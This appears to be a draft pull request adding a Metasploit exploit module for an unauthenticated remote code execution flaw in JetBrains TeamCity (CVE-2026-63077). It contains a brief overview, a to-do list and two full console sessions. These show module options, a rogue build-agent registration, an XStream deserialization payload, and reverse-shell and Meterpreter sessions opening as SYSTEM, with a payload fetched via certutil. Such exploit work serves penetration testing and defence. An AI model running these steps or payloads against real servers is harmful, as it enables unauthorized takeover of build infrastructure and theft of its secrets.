Add unauth RCE exploit module for JetBrains TeamCity (CVE-2026-63077)

[sfewer-r7]

Overview

This (draft) pull request add an unauth RCE exploit for the recent JetBrains TeamCity vulnerability, CVE-2026-63077.

For a full technical analysis of CVE-2026-63077, read our Rapid7 Analysis.

TO-DO

• Test against Linux.
• Registering an agent leaves an unauthorized agent on the server. I think I have a solution to unregister and remove the agent via a small sequence of Java code we can place in the JSP as part of build_java_payload_jsp.
• Documentation.

Example 1 - JSP payload on Windows

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show options 

Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks
                                         4, socks5, socks5h
   RHOSTS     192.168.86.171   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
                                         tml
   RPORT      8111             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to TeamCity
   VHOST                       no        HTTP server virtual host


Payload options (java/jsp_shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.86.122   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL                   no        The system shell to use.


Exploit target:

   Id  Name
   --  ----
   0   Java Server Page



View the full module info with the info, or info -d command.

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.
[*] Registering a TeamCity build agent
[*] Sending the XStream deserialization payload
[*] Requesting the JSPWS payload at /mkGCBzccnnf.jspws
[+] The JSPWS payload was executed successfully
[*] Command shell session 2 opened (192.168.86.122:4444 -> 192.168.86.171:49737) at 2026-08-11 19:58:19 +0100


Shell Banner:
Microsoft Windows [Version 10.0.26100.32522]
(c) Microsoft Corporation. All rights reserved.
-----
          

c:\TeamCity\bin>whoami
whoami
nt authority\system

c:\TeamCity\bin>

Example 2 - Command payload on Windows

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show options 

Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks
                                         4, socks5, socks5h
   RHOSTS     192.168.86.171   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
                                         tml
   RPORT      8111             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to TeamCity
   VHOST                       no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                           no        Comma-separate list of extensions to load
   EXTINIT                              no        Initialization strings for extensions
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      yWXThZaCLZvA     no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.86.122   yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


   When FETCH_COMMAND is one of CURL:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


Exploit target:

   Id  Name
   --  ----
   1   Windows Command



View the full module info with the info, or info -d command.

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.
[*] Registering a TeamCity build agent
[*] Sending the XStream deserialization payload
[*] Requesting the JSPWS payload at /eltE.jspws
[+] The JSPWS payload was executed successfully
[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.171:49734) at 2026-08-11 19:57:33 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-B0I6KV698LS
OS              : Windows Server 2025+ (10.0 Build 26100).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter > pwd
C:\TeamCity\bin
meterpreter >